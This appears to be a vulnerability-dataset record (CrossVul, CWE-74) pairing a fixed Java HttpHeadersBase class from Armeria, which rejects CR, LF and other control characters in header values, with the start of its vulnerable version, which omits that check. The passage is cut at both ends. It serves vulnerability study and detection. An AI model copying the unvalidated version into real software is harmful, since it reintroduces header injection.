* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package com.linecorp.armeria.common;
import static com.google.common.base.Preconditions.checkState;
import static com.linecorp.armeria.internal.ArmeriaHttpUtil.isAbsoluteUri;
import static io.netty.handler.codec.http2.Http2Headers.PseudoHeaderName.hasPseudoHeaderFormat;
import static io.netty.util.internal.MathUtil.findNextPositivePowerOfTwo;
import static java.lang.Math.max;
import static java.lang.Math.min;
import static java.util.Objects.requireNonNull;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.Arrays;
import java.util.BitSet;
import java.util.Date;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.NoSuchElementException;
import java.util.Objects;
import java.util.Set;
import java.util.function.BiConsumer;
import java.util.function.Consumer;
import javax.annotation.Nullable;
import com.google.common.annotations.VisibleForTesting;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.ImmutableSet;
import com.google.common.collect.Iterators;
import com.google.common.math.IntMath;
import io.netty.handler.codec.DateFormatter;
import io.netty.util.AsciiString;
/**
* The base container implementation of HTTP/2 headers.
*/
class HttpHeadersBase implements HttpHeaderGetters {
private static final int PROHIBITED_VALUE_CHAR_MASK = ~15;
private static final BitSet PROHIBITED_VALUE_CHARS = new BitSet(~PROHIBITED_VALUE_CHAR_MASK + 1);
private static final String[] PROHIBITED_VALUE_CHAR_NAMES = new String[~PROHIBITED_VALUE_CHAR_MASK + 1];
static {
PROHIBITED_VALUE_CHARS.set(0);
PROHIBITED_VALUE_CHARS.set('\n');
PROHIBITED_VALUE_CHARS.set(0xB);
PROHIBITED_VALUE_CHARS.set('\f');
PROHIBITED_VALUE_CHARS.set('\r');
PROHIBITED_VALUE_CHAR_NAMES[0] = "<NUL>";
PROHIBITED_VALUE_CHAR_NAMES['\n'] = "<LF>";
PROHIBITED_VALUE_CHAR_NAMES[0xB] = "<VT>";
PROHIBITED_VALUE_CHAR_NAMES['\f'] = "<FF>";
PROHIBITED_VALUE_CHAR_NAMES['\r'] = "<CR>";
}
static final int DEFAULT_SIZE_HINT = 16;
/**
* Constant used to seed the hash code generation. Could be anything but this was borrowed from murmur3.
*/
static final int HASH_CODE_SEED = 0xc2b2ae35;
// XXX(anuraaga): It could be an interesting future optimization if we can use something similar
// to an EnumSet when it's applicable, with just one each of commonly known header names.
// It should be very common.
@VisibleForTesting
final HeaderEntry[] entries;
private final byte hashMask;
private final HeaderEntry head;
private HeaderEntry firstNonPseudo;
int size;
private boolean endOfStream;
HttpHeadersBase(int sizeHint) {
// Enforce a bound of [2, 128] because hashMask is a byte. The max possible value of hashMask is
// one less than the length of this array, and we want the mask to be > 0.
entries = new HeaderEntry[findNextPositivePowerOfTwo(max(2, min(sizeHint, 128)))];
hashMask = (byte) (entries.length - 1);
head = firstNonPseudo = new HeaderEntry();
}
/**
* Creates a shallow or deep copy of the specified {@link HttpHeadersBase}.
*/
HttpHeadersBase(HttpHeadersBase headers, boolean shallowCopy) {
hashMask = headers.hashMask;
endOfStream = headers.endOfStream;
if (shallowCopy) {
entries = headers.entries;
head = headers.head;
firstNonPseudo = headers.firstNonPseudo;
size = headers.size;
} else {
entries = new HeaderEntry[headers.entries.length];
head = firstNonPseudo = new HeaderEntry();
final boolean succeeded = addFast(headers);
assert succeeded;
}
}
/**
* Creates a deep copy of the specified {@link HttpHeaderGetters}.
*/
HttpHeadersBase(HttpHeaderGetters headers) {
this(headers.size());
assert !(headers instanceof HttpHeadersBase);
addSlow(headers);
}
// Shortcut methods
URI uri() {
final String uri;
final String path = path();
if (isAbsoluteUri(path)) {
uri = path;
} else {
final String scheme = scheme();
checkState(scheme != null, ":scheme header does not exist.");
final String authority = authority();
checkState(authority != null, ":authority header does not exist.");
uri = scheme + "://" + authority + path;
}
try {
return new URI(uri);
} catch (URISyntaxException e) {
throw new IllegalStateException("not a valid URI: " + uri, e);
}
}
HttpMethod method() {
final String methodStr = get(HttpHeaderNames.METHOD);
checkState(methodStr != null, ":method header does not exist.");
return HttpMethod.isSupported(methodStr) ? HttpMethod.valueOf(methodStr)
: HttpMethod.UNKNOWN;
}
final void method(HttpMethod method) {
requireNonNull(method, "method");
set(HttpHeaderNames.METHOD, method.name());
}
@Nullable
String scheme() {
return get(HttpHeaderNames.SCHEME);
}
final void scheme(String scheme) {
requireNonNull(scheme, "scheme");
set(HttpHeaderNames.SCHEME, scheme);
}
@Nullable
String authority() {
return get(HttpHeaderNames.AUTHORITY);
}
final void authority(String authority) {
requireNonNull(authority, "authority");
set(HttpHeaderNames.AUTHORITY, authority);
}
String path() {
final String path = get(HttpHeaderNames.PATH);
checkState(path != null, ":path header does not exist.");
return path;
}
final void path(String path) {
requireNonNull(path, "path");
set(HttpHeaderNames.PATH, path);
}
HttpStatus status() {
final String statusStr = get(HttpHeaderNames.STATUS);
checkState(statusStr != null, ":status header does not exist.");
return HttpStatus.valueOf(statusStr);
}
final void status(int statusCode) {
status(HttpStatus.valueOf(statusCode));
}
final void status(HttpStatus status) {
requireNonNull(status, "status");
set(HttpHeaderNames.STATUS, status.codeAsText());
}
@Nullable
@Override
public MediaType contentType() {
final String contentTypeString = get(HttpHeaderNames.CONTENT_TYPE);
if (contentTypeString == null) {
return null;
}
try {
return MediaType.parse(contentTypeString);
} catch (IllegalArgumentException unused) {
// Invalid media type
return null;
}
}
final void contentType(MediaType contentType) {
requireNonNull(contentType, "contentType");
set(HttpHeaderNames.CONTENT_TYPE, contentType.toString());
}
// Getters
@Override
public final boolean isEndOfStream() {
return endOfStream;
}
@Nullable
@Override
public final String get(CharSequence name) {
requireNonNull(name, "name");
final int h = AsciiString.hashCode(name);
final int i = index(h);
HeaderEntry e = entries[i];
String value = null;
// loop until the first header was found
while (e != null) {
if (e.hash == h && keyEquals(e.key, name)) {
value = e.value;
}
e = e.next;
}
return value;
}
@Override
public final String get(CharSequence name, String defaultValue) {
requireNonNull(defaultValue, "defaultValue");
final String value = get(name);
return value != null ? value : defaultValue;
}
@Override
public final List<String> getAll(CharSequence name) {
requireNonNull(name, "name");
return getAllReversed(name).reverse();
}
private ImmutableList<String> getAllReversed(CharSequence name) {
final int h = AsciiString.hashCode(name);
final int i = index(h);
HeaderEntry e = entries[i];
if (e == null) {
return ImmutableList.of();
}
final ImmutableList.Builder<String> builder = ImmutableList.builder();
do {
if (e.hash == h && keyEquals(e.key, name)) {
builder.add(e.getValue());
}
e = e.next;
} while (e != null);
return builder.build();
}
@Nullable
@Override
public final Integer getInt(CharSequence name) {
final String v = get(name);
return toInteger(v);
}
@Override
public final int getInt(CharSequence name, int defaultValue) {
final Integer v = getInt(name);
return v != null ? v : defaultValue;
}
@Nullable
@Override
public final Long getLong(CharSequence name) {
final String v = get(name);
return toLong(v);
}
@Override
public final long getLong(CharSequence name, long defaultValue) {
final Long v = getLong(name);
return v != null ? v : defaultValue;
}
@Nullable
@Override
public final Float getFloat(CharSequence name) {
final String v = get(name);
return toFloat(v);
}
@Override
public final float getFloat(CharSequence name, float defaultValue) {
final Float v = getFloat(name);
return v != null ? v : defaultValue;
}
@Nullable
@Override
public final Double getDouble(CharSequence name) {
final String v = get(name);
return toDouble(v);
}
@Override
public final double getDouble(CharSequence name, double defaultValue) {
final Double v = getDouble(name);
return v != null ? v : defaultValue;
}
@Nullable
@Override
public final Long getTimeMillis(CharSequence name) {
final String v = get(name);
return toTimeMillis(v);
}
@Override
public final long getTimeMillis(CharSequence name, long defaultValue) {
final Long v = getTimeMillis(name);
return v != null ? v : defaultValue;
}
@Override
public final boolean contains(CharSequence name) {
requireNonNull(name, "name");
final int h = AsciiString.hashCode(name);
final int i = index(h);
HeaderEntry e = entries[i];
// loop until the first header was found
while (e != null) {
if (e.hash == h && keyEquals(e.key, name)) {
return true;
}
e = e.next;
}
return false;
}
@Override
public final boolean contains(CharSequence name, String value) {
requireNonNull(name, "name");
requireNonNull(value, "value");
final int h = AsciiString.hashCode(name);
final int i = index(h);
HeaderEntry e = entries[i];
while (e != null) {
if (e.hash == h && keyEquals(e.key, name) &&
AsciiString.contentEquals(e.value, value)) {
return true;
}
e = e.next;
}
return false;
}
@Override
public final boolean containsObject(CharSequence name, Object value) {
requireNonNull(value, "value");
return contains(name, fromObject(value));
}
@Override
public final boolean containsInt(CharSequence name, int value) {
return contains(name, String.valueOf(value));
}
@Override
public final boolean containsLong(CharSequence name, long value) {
return contains(name, String.valueOf(value));
}
@Override
public final boolean containsFloat(CharSequence name, float value) {
return contains(name, String.valueOf(value));
}
@Override
public final boolean containsDouble(CharSequence name, double value) {
return contains(name, String.valueOf(value));
}
@Override
public final boolean containsTimeMillis(CharSequence name, long value) {
return contains(name, fromTimeMillis(value));
}
@Override
public final int size() {
return size;
}
@Override
public final boolean isEmpty() {
return size() == 0;
}
@Override
public final Set<AsciiString> names() {
if (isEmpty()) {
return ImmutableSet.of();
}
final ImmutableSet.Builder<AsciiString> builder = ImmutableSet.builder();
HeaderEntry e = head.after;
while (e != head) {
builder.add(e.getKey());
e = e.after;
}
return builder.build();
}
@Override
public final Iterator<Entry<AsciiString, String>> iterator() {
return new HeaderIterator();
}
@Override
public final Iterator<String> valueIterator(CharSequence name) {
return getAll(name).iterator();
}
@Override
public final void forEach(BiConsumer<AsciiString, String> action) {
requireNonNull(action, "action");
for (Entry<AsciiString, String> e : this) {
action.accept(e.getKey(), e.getValue());
}
}
@Override
public final void forEachValue(CharSequence name, Consumer<String> action) {
requireNonNull(name, "name");
requireNonNull(action, "action");
for (final Iterator<String> i = valueIterator(name); i.hasNext();) {
action.accept(i.next());
}
}
// Mutators
final void endOfStream(boolean endOfStream) {
this.endOfStream = endOfStream;
}
@Nullable
final String getAndRemove(CharSequence name) {
requireNonNull(name, "name");
final int h = AsciiString.hashCode(name);
return remove0(h, index(h), name);
}
final String getAndRemove(CharSequence name, String defaultValue) {
requireNonNull(defaultValue, "defaultValue");
final String value = getAndRemove(name);
return value != null ? value : defaultValue;
}
final List<String> getAllAndRemove(CharSequence name) {
final List<String> all = getAll(name);
if (!all.isEmpty()) {
remove(name);
}
return all;
}
@Nullable
final Integer getIntAndRemove(CharSequence name) {
final String v = getAndRemove(name);
return toInteger(v);
}
final int getIntAndRemove(CharSequence name, int defaultValue) {
final Integer v = getIntAndRemove(name);
return v != null ? v : defaultValue;
}
@Nullable
final Long getLongAndRemove(CharSequence name) {
final String v = getAndRemove(name);
return toLong(v);
}
final long getLongAndRemove(CharSequence name, long defaultValue) {
final Long v = getLongAndRemove(name);
return v != null ? v : defaultValue;
}
@Nullable
final Float getFloatAndRemove(CharSequence name) {
final String v = getAndRemove(name);
return toFloat(v);
}
final float getFloatAndRemove(CharSequence name, float defaultValue) {
final Float v = getFloatAndRemove(name);
return v != null ? v : defaultValue;
}
@Nullable
final Double getDoubleAndRemove(CharSequence name) {
final String v = getAndRemove(name);
return toDouble(v);
}
final double getDoubleAndRemove(CharSequence name, double defaultValue) {
final Double v = getDoubleAndRemove(name);
return v != null ? v : defaultValue;
}
@Nullable
final Long getTimeMillisAndRemove(CharSequence name) {
final String v = getAndRemove(name);
return toTimeMillis(v);
}
final long getTimeMillisAndRemove(CharSequence name, long defaultValue) {
final Long v = getTimeMillisAndRemove(name);
return v != null ? v : defaultValue;
}
final void add(CharSequence name, String value) {
final AsciiString normalizedName = HttpHeaderNames.of(name);
requireNonNull(value, "value");
final int h = normalizedName.hashCode();
final int i = index(h);
add0(h, i, normalizedName, value);
}
final void add(CharSequence name, Iterable<String> values) {
final AsciiString normalizedName = HttpHeaderNames.of(name);
requireNonNull(values, "values");
final int h = normalizedName.hashCode();
final int i = index(h);
for (String v : values) {
requireNonNullElement(values, v);
add0(h, i, normalizedName, v);
}
}
final void add(CharSequence name, String... values) {
final AsciiString normalizedName = HttpHeaderNames.of(name);
requireNonNull(values, "values");
final int h = normalizedName.hashCode();
final int i = index(h);
for (String v : values) {
requireNonNullElement(values, v);
add0(h, i, normalizedName, v);
}
}
final void add(Iterable<? extends Entry<? extends CharSequence, String>> headers) {
if (headers == this) {
throw new IllegalArgumentException("can't add to itself.");
}
if (!addFast(headers)) {
addSlow(headers);
}
}
final void addObject(CharSequence name, Object value) {
requireNonNull(value, "value");
add(name, fromObject(value));
}
final void addObject(CharSequence name, Iterable<?> values) {
final AsciiString normalizedName = HttpHeaderNames.of(name);
requireNonNull(values, "values");
for (Object v : values) {
requireNonNullElement(values, v);
addObject(normalizedName, v);
}
}
final void addObject(CharSequence name, Object... values) {
final AsciiString normalizedName = HttpHeaderNames.of(name);
requireNonNull(values, "values");
for (Object v : values) {
requireNonNullElement(values, v);
addObject(normalizedName, v);
}
}
void addObject(Iterable<? extends Entry<? extends CharSequence, ?>> headers) {
if (headers == this) {
throw new IllegalArgumentException("can't add to itself.");
}
if (!addFast(headers)) {
addObjectSlow(headers);
}
}
final void addInt(CharSequence name, int value) {
add(name, String.valueOf(value));
}
final void addLong(CharSequence name, long value) {
add(name, String.valueOf(value));
}
final void addFloat(CharSequence name, float value) {
add(name, String.valueOf(value));
}
final void addDouble(CharSequence name, double value) {
add(name, String.valueOf(value));
}
final void addTimeMillis(CharSequence name, long value) {
add(name, fromTimeMillis(value));
}
final void set(CharSequence name, String value) {
final AsciiString normalizedName = HttpHeaderNames.of(name);
requireNonNull(value, "value");
final int h = normalizedName.hashCode();
final int i = index(h);
remove0(h, i, normalizedName);
add0(h, i, normalizedName, value);
}
final void set(CharSequence name, Iterable<String> values) {
final AsciiString normalizedName = HttpHeaderNames.of(name);
requireNonNull(values, "values");
final int h = normalizedName.hashCode();
final int i = index(h);
remove0(h, i, normalizedName);
for (String v : values) {
requireNonNullElement(values, v);
add0(h, i, normalizedName, v);
}
}
final void set(CharSequence name, String... values) {
final AsciiString normalizedName = HttpHeaderNames.of(name);
requireNonNull(values, "values");
final int h = normalizedName.hashCode();
final int i = index(h);
remove0(h, i, normalizedName);
for (String v : values) {
requireNonNullElement(values, v);
add0(h, i, normalizedName, v);
}
}
final void set(Iterable<? extends Entry<? extends CharSequence, String>> headers) {
requireNonNull(headers, "headers");
if (headers == this) {
return;
}
for (Entry<? extends CharSequence, String> e : headers) {
remove(e.getKey());
}
if (!addFast(headers)) {
addSlow(headers);
}
}
public HttpHeadersBase setIfAbsent(Iterable<? extends Entry<? extends CharSequence, String>> headers) {
requireNonNull(headers, "headers");
final Set<AsciiString> existingNames = names();
if (!setIfAbsentFast(headers, existingNames)) {
setIfAbsentSlow(headers, existingNames);
}
return this;
}
private boolean setIfAbsentFast(Iterable<? extends Entry<? extends CharSequence, String>> headers,
Set<AsciiString> existingNames) {
if (!(headers instanceof HttpHeadersBase)) {
return false;
}
final HttpHeadersBase headersBase = (HttpHeadersBase) headers;
HeaderEntry e = headersBase.head.after;
while (e != headersBase.head) {
final AsciiString key = e.key;
final String value = e.value;
assert key != null;
assert value != null;
if (!existingNames.contains(key)) {
add0(e.hash, index(e.hash), key, value);
}
e = e.after;
}
return true;
}
private void setIfAbsentSlow(Iterable<? extends Entry<? extends CharSequence, String>> headers,
Set<AsciiString> existingNames) {
for (Entry<? extends CharSequence, String> header : headers) {
final AsciiString key = AsciiString.of(header.getKey());
if (!existingNames.contains(key)) {
add(key, header.getValue());
}
}
}
final void setObject(CharSequence name, Object value) {
requireNonNull(value, "value");
set(name, fromObject(value));
}
final void setObject(CharSequence name, Iterable<?> values) {
final AsciiString normalizedName = HttpHeaderNames.of(name);
requireNonNull(values, "values");
final int h = normalizedName.hashCode();
final int i = index(h);
remove0(h, i, normalizedName);
for (Object v: values) {
requireNonNullElement(values, v);
add0(h, i, normalizedName, fromObject(v));
}
}
final void setObject(CharSequence name, Object... values) {
final AsciiString normalizedName = HttpHeaderNames.of(name);
requireNonNull(values, "values");
final int h = normalizedName.hashCode();
final int i = index(h);
remove0(h, i, normalizedName);
for (Object v: values) {
requireNonNullElement(values, v);
add0(h, i, normalizedName, fromObject(v));
}
}
final void setObject(Iterable<? extends Entry<? extends CharSequence, ?>> headers) {
requireNonNull(headers, "headers");
if (headers == this) {
return;
}
for (Entry<? extends CharSequence, ?> e : headers) {
remove(e.getKey());
}
if (!addFast(headers)) {
addObjectSlow(headers);
}
}
final void setInt(CharSequence name, int value) {
set(name, String.valueOf(value));
}
final void setLong(CharSequence name, long value) {
set(name, String.valueOf(value));
}
final void setFloat(CharSequence name, float value) {
set(name, String.valueOf(value));
}
final void setDouble(CharSequence name, double value) {
set(name, String.valueOf(value));
}
final void setTimeMillis(CharSequence name, long value) {
set(name, fromTimeMillis(value));
}
final boolean remove(CharSequence name) {
requireNonNull(name, "name");
final int h = AsciiString.hashCode(name);
return remove0(h, index(h), name) != null;
}
final void clear() {
Arrays.fill(entries, null);
firstNonPseudo = head.before = head.after = head;
size = 0;
}
private static void requireNonNullElement(Object values, @Nullable Object e) {
if (e == null) {
throw new NullPointerException("values contains null: " + values);
}
}
private int index(int hash) {
return hash & hashMask;
}
private void add0(int h, int i, AsciiString name, String value) {
validateValue(value);
// Update the hash table.
entries[i] = new HeaderEntry(h, name, value, entries[i]);
++size;
}
private static void validateValue(String value) {
final int valueLength = value.length();
for (int i = 0; i < valueLength; i++) {
final char ch = value.charAt(i);
if ((ch & PROHIBITED_VALUE_CHAR_MASK) != 0) { // ch >= 16
continue;
}
// ch < 16
if (PROHIBITED_VALUE_CHARS.get(ch)) {
throw new IllegalArgumentException(malformedHeaderValueMessage(value));
}
}
}
private static String malformedHeaderValueMessage(String value) {
final StringBuilder buf = new StringBuilder(IntMath.saturatedAdd(value.length(), 64));
buf.append("malformed header value: ");
final int valueLength = value.length();
for (int i = 0; i < valueLength; i++) {
final char ch = value.charAt(i);
if (PROHIBITED_VALUE_CHARS.get(ch)) {
buf.append(PROHIBITED_VALUE_CHAR_NAMES[ch]);
} else {
buf.append(ch);
}
}
return buf.toString();
}
private boolean addFast(Iterable<? extends Entry<? extends CharSequence, ?>> headers) {
if (!(headers instanceof HttpHeadersBase)) {
return false;
}
final HttpHeadersBase headersBase = (HttpHeadersBase) headers;
HeaderEntry e = headersBase.head.after;
while (e != headersBase.head) {
final AsciiString key = e.key;
final String value = e.value;
assert key != null;
assert value != null;
add0(e.hash, index(e.hash), key, value);
e = e.after;
}
return true;
}
private void addSlow(Iterable<? extends Entry<? extends CharSequence, String>> headers) {
// Slow copy
for (Entry<? extends CharSequence, String> header : headers) {
add(header.getKey(), header.getValue());
}
}
private void addObjectSlow(Iterable<? extends Entry<? extends CharSequence, ?>> headers) {
// Slow copy
for (Entry<? extends CharSequence, ?> header : headers) {
addObject(header.getKey(), header.getValue());
}
}
/**
* Removes all the entries whose hash code equals {@code h} and whose name is equal to {@code name}.
*
* @return the first value inserted, or {@code null} if there is no such header.
*/
@Nullable
private String remove0(int h, int i, CharSequence name) {
HeaderEntry e = entries[i];
if (e == null) {
return null;
}
String value = null;
HeaderEntry next = e.next;
while (next != null) {
if (next.hash == h && keyEquals(next.key, name)) {
value = next.value;
e.next = next.next;
next.remove();
--size;
} else {
e = next;
}
next = e.next;
}
e = entries[i];
if (e.hash == h && keyEquals(e.key, name)) {
if (value == null) {
value = e.value;
}
entries[i] = e.next;
e.remove();
--size;
}
return value;
}
private static boolean keyEquals(@Nullable AsciiString a, CharSequence b) {
return a != null && (a == b || a.contentEqualsIgnoreCase(b));
}
// Conversion functions
@Nullable
private static Integer toInteger(@Nullable String v) {
try {
return v != null ? Integer.parseInt(v) : null;
} catch (NumberFormatException ignore) {
return null;
}
}
@Nullable
private static Long toLong(@Nullable String v) {
try {
return v != null ? Long.parseLong(v) : null;
} catch (NumberFormatException ignore) {
return null;
}
}
@Nullable
private static Float toFloat(@Nullable String v) {
try {
return v != null ? Float.parseFloat(v) : null;
} catch (NumberFormatException ignore) {
return null;
}
}
@Nullable
private static Double toDouble(@Nullable String v) {
try {
return v != null ? Double.parseDouble(v) : null;
} catch (NumberFormatException ignore) {
return null;
}
}
@Nullable
private static Long toTimeMillis(@Nullable String v) {
if (v == null) {
return null;
}
try {
@SuppressWarnings("UseOfObsoleteDateTimeApi")
final Date date = DateFormatter.parseHttpDate(v);
return date != null ? date.getTime() : null;
} catch (Exception ignore) {
// `parseHttpDate()` can raise an exception rather than returning `null`
// when the given value has more than 64 characters.
return null;
}
}
private static String fromTimeMillis(long value) {
return StringValueConverter.INSTANCE.convertTimeMillis(value);
}
private static String fromObject(Object value) {
final String strVal = StringValueConverter.INSTANCE.convertObject(value);
assert strVal != null : value + " converted to null.";
return strVal;
}
// hashCode(), equals() and toString()
@Override
public final int hashCode() {
int result = HASH_CODE_SEED;
for (AsciiString name : names()) {
result = (result * 31 + name.hashCode()) * 31 + getAll(name).hashCode();
}
return result;
}
@Override
public boolean equals(@Nullable Object o) {
if (this == o) {
return true;
}
if (!(o instanceof HttpHeaderGetters)) {
return false;
}
final HttpHeaderGetters that = (HttpHeaderGetters) o;
if (isEndOfStream() != that.isEndOfStream() ||
size() != that.size()) {
return false;
}
if (that instanceof HttpHeadersBase) {
return equalsFast((HttpHeadersBase) that);
} else {
return equalsSlow(that);
}
}
private boolean equalsFast(HttpHeadersBase that) {
HeaderEntry e = head.after;
while (e != head) {
final AsciiString name = e.getKey();
if (!getAllReversed(name).equals(that.getAllReversed(name))) {
return false;
}
e = e.after;
}
return true;
}
private boolean equalsSlow(HttpHeaderGetters that) {
HeaderEntry e = head.after;
while (e != head) {
final AsciiString name = e.getKey();
if (!Iterators.elementsEqual(valueIterator(name), that.valueIterator(name))) {
return false;
}
e = e.after;
}
return true;
}
@Override
public String toString() {
if (size == 0) {
return endOfStream ? "[EOS]" : "[]";
}
final StringBuilder sb = new StringBuilder(7 + size * 20);
if (endOfStream) {
sb.append("[EOS, ");
} else {
sb.append('[');
}
HeaderEntry e = head.after;
while (e != head) {
sb.append(e.key).append('=').append(e.value).append(", ");
e = e.after;
}
final int length = sb.length();
sb.setCharAt(length - 2, ']');
return sb.substring(0, length - 1);
}
// Iterator implementations
private final class HeaderIterator implements Iterator<Map.Entry<AsciiString, String>> {
private HeaderEntry current = head;
@Override
public boolean hasNext() {
return current.after != head;
}
@Override
public Entry<AsciiString, String> next() {
current = current.after;
if (current == head) {
throw new NoSuchElementException();
}
return current;
}
@Override
public void remove() {
throw new UnsupportedOperationException("read-only");
}
}
private final class HeaderEntry implements Map.Entry<AsciiString, String> {
final int hash;
@Nullable
final AsciiString key;
@Nullable
final String value;
/**
* In bucket linked list.
*/
@Nullable
HeaderEntry next;
/**
* Overall insertion order linked list.
*/
HeaderEntry before;
HeaderEntry after;
/**
* Creates a new head node.
*/
HeaderEntry() {
hash = -1;
key = null;
value = null;
before = after = this;
}
HeaderEntry(int hash, AsciiString key, String value, HeaderEntry next) {
this.hash = hash;
this.key = key;
this.value = value;
this.next = next;
// Make sure the pseudo headers fields are first in iteration order
if (hasPseudoHeaderFormat(key)) {
after = firstNonPseudo;
before = firstNonPseudo.before;
} else {
after = head;
before = head.before;
if (firstNonPseudo == head) {
firstNonPseudo = this;
}
}
pointNeighborsToThis();
}
void pointNeighborsToThis() {
before.after = this;
after.before = this;
}
void remove() {
if (this == firstNonPseudo) {
firstNonPseudo = firstNonPseudo.after;
}
before.after = after;
after.before = before;
}
@Override
public AsciiString getKey() {
assert key != null;
return key;
}
@Override
public String getValue() {
assert value != null;
return value;
}
@Override
public String setValue(String value) {
throw new UnsupportedOperationException("read-only");
}
@Override
public int hashCode() {
return (key == null ? 0 : key.hashCode()) ^ AsciiString.hashCode(value);
}
@Override
public boolean equals(@Nullable Object o) {
if (this == o) {
return true;
}
if (!(o instanceof Map.Entry)) {
return false;
}
final Map.Entry<?, ?> that = (Map.Entry<?, ?>) o;
final Object thatKey = that.getKey();
return thatKey instanceof AsciiString &&
keyEquals(key, (CharSequence) thatKey) &&
Objects.equals(value, that.getValue());
}
@Override
public String toString() {
if (key == null) {
return "<HEAD>";
}
assert value != null;
return new StringBuilder(key.length() + value.length() + 1)
.append(key)
.append('=')
.append(value)
.toString();
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_1112_1
|
crossvul-java_data_bad_1112_1
|
/*
* Copyright 2019 LINE Corporation
*
* LINE Corporation licenses this file to you under the Apache License,
* version 2.0 (the "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at:
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
/*
* Copyright 2014 The Netty Project
*
* The Netty Project licenses this file to you under the Apache License, version 2.0 (the
* "License"); you may not use this file except in compliance with the License. You may obtain a
* copy of the License at:
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package com.linecorp.armeria.common;
import static com.google.common.base.Preconditions.checkArgument;
import static com.google.common.base.Preconditions.checkState;
import static com.linecorp.armeria.internal.ArmeriaHttpUtil.isAbsoluteUri;
import static io.netty.handler.codec.http2.Http2Headers.PseudoHeaderName.hasPseudoHeaderFormat;
import static io.netty.util.internal.MathUtil.findNextPositivePowerOfTwo;
import static java.lang.Math.max;
import static java.lang.Math.min;
import static java.util.Objects.requireNonNull;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.Arrays;
import java.util.Date;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.NoSuchElementException;
import java.util.Objects;
import java.util.Set;
import java.util.function.BiConsumer;
import java.util.function.Consumer;
import javax.annotation.Nullable;
import com.google.common.annotations.VisibleForTesting;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.ImmutableSet;
import com.google.common.collect.Iterators;
import io.netty.handler.codec.DateFormatter;
import io.netty.util.AsciiString;
/**
* The base container implementation of HTTP/2 headers.
*/
class HttpHeadersBase implements HttpHeaderGetters {
static final int DEFAULT_SIZE_HINT = 16;
/**
* Constant used to seed the hash code generation. Could be anything but this was borrowed from murmur3.
*/
static final int HASH_CODE_SEED = 0xc2b2ae35;
// XXX(anuraaga): It could be an interesting future optimization if we can use something similar
// to an EnumSet when it's applicable, with just one each of commonly known header names.
// It should be very common.
@VisibleForTesting
final HeaderEntry[] entries;
private final byte hashMask;
private final HeaderEntry head;
private HeaderEntry firstNonPseudo;
int size;
private boolean endOfStream;
HttpHeadersBase(int sizeHint) {
// Enforce a bound of [2, 128] because hashMask is a byte. The max possible value of hashMask is
// one less than the length of this array, and we want the mask to be > 0.
entries = new HeaderEntry[findNextPositivePowerOfTwo(max(2, min(sizeHint, 128)))];
hashMask = (byte) (entries.length - 1);
head = firstNonPseudo = new HeaderEntry();
}
/**
* Creates a shallow or deep copy of the specified {@link HttpHeadersBase}.
*/
HttpHeadersBase(HttpHeadersBase headers, boolean shallowCopy) {
hashMask = headers.hashMask;
endOfStream = headers.endOfStream;
if (shallowCopy) {
entries = headers.entries;
head = headers.head;
firstNonPseudo = headers.firstNonPseudo;
size = headers.size;
} else {
entries = new HeaderEntry[headers.entries.length];
head = firstNonPseudo = new HeaderEntry();
final boolean succeeded = addFast(headers);
assert succeeded;
}
}
/**
* Creates a deep copy of the specified {@link HttpHeaderGetters}.
*/
HttpHeadersBase(HttpHeaderGetters headers) {
this(headers.size());
assert !(headers instanceof HttpHeadersBase);
addSlow(headers);
}
// Shortcut methods
URI uri() {
final String uri;
final String path = path();
if (isAbsoluteUri(path)) {
uri = path;
} else {
final String scheme = scheme();
checkState(scheme != null, ":scheme header does not exist.");
final String authority = authority();
checkState(authority != null, ":authority header does not exist.");
uri = scheme + "://" + authority + path;
}
try {
return new URI(uri);
} catch (URISyntaxException e) {
throw new IllegalStateException("not a valid URI: " + uri, e);
}
}
HttpMethod method() {
final String methodStr = get(HttpHeaderNames.METHOD);
checkState(methodStr != null, ":method header does not exist.");
return HttpMethod.isSupported(methodStr) ? HttpMethod.valueOf(methodStr)
: HttpMethod.UNKNOWN;
}
final void method(HttpMethod method) {
requireNonNull(method, "method");
set(HttpHeaderNames.METHOD, method.name());
}
@Nullable
String scheme() {
return get(HttpHeaderNames.SCHEME);
}
final void scheme(String scheme) {
requireNonNull(scheme, "scheme");
set(HttpHeaderNames.SCHEME, scheme);
}
@Nullable
String authority() {
return get(HttpHeaderNames.AUTHORITY);
}
final void authority(String authority) {
requireNonNull(authority, "authority");
set(HttpHeaderNames.AUTHORITY, authority);
}
String path() {
final String path = get(HttpHeaderNames.PATH);
checkState(path != null, ":path header does not exist.");
return path;
}
final void path(String path) {
requireNonNull(path, "path");
set(HttpHeaderNames.PATH, path);
}
HttpStatus status() {
final String statusStr = get(HttpHeaderNames.STATUS);
checkState(statusStr != null, ":status header does not exist.");
return HttpStatus.valueOf(statusStr);
}
final void status(int statusCode) {
status(HttpStatus.valueOf(statusCode));
}
final void status(HttpStatus status) {
requireNonNull(status, "status");
set(HttpHeaderNames.STATUS, status.codeAsText());
}
@Nullable
@Override
public MediaType contentType() {
final String contentTypeString = get(HttpHeaderNames.CONTENT_TYPE);
if (contentTypeString == null) {
return null;
}
try {
return MediaType.parse(contentTypeString);
} catch (IllegalArgumentException unused) {
// Invalid media type
return null;
}
}
final void contentType(MediaType contentType) {
requireNonNull(contentType, "contentType");
set(HttpHeaderNames.CONTENT_TYPE, contentType.toString());
}
// Getters
@Override
public final boolean isEndOfStream() {
return endOfStream;
}
@Nullable
@Override
